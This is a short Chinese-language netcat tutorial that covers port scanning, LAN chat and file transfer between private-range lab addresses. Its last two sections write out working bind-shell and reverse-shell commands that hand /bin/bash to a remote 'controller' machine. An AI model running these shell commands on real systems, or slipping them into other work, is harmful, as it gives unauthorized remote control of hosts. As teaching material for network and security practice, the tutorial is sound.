nc扫描开放端口

探测单个端口是否开放可以用telnet,专业探测端口可以用Nmap,而对于非渗透用途的Linux可以直接用netcat。

1.使用netcat探测端口是否开放

nc -z -v 192.168.220.128 80-9999      #z代表不交互要不然遇到交互的端口nc会阻塞,v代表打印端口情况不然扫了也没办理出,下来是IP和要扫描的端口

2.使用netcat实现局域网聊天

一端先启好监听:
nc -l 9999
另一端端进行连接:
nc 192.168.220.128 9999
连接之后的任一边的输入在另一边都可看到

3.使用netcat实现文件传输

和局域网聊天是原理一样的,不过把输入输出重定向到文件 接收入端先启好监听:
nc -l 9999 > recv.txt
发送端进行发送:
nc 192.168.220.128 9999 < send.txt
不过传输完之后不会自动断开连接得手动ctrl+c断开,而且转输完成并没有什么标志不知是否已传完。

4.正向连接

控制机器主动连接受控端称为正向连接(2和3其实就和正向连接一样的,只是没执行shell而已) 受控端先启好监听:
nc -l -p 9999 -e /bin/bash
控制端主动连接:
nc 192.168.220.129 9999

5.反向连接

反之控制端启好监听等受控端连接称为反向连接 控制端启好监听:
nc -lv 9999
受控端主动连接:
nc 192.168.220.128 9999 -e /bin/bash
说明: centos版本的nc没有-e选项,启监听时也不(能)用-p;而kali版本有-e选项且启监听必须用-p指定端口(不用-p会用随机端口) 参考: http://www.cnblogs.com/hyq20135317/p/5491298.html http://www.2cto.com/article/201311/258748.html http://blog.sina.com.cn/s/blog_71ce334a01015b1o.html http://blog.csdn.net/yabingshi_tech/article/details/51821265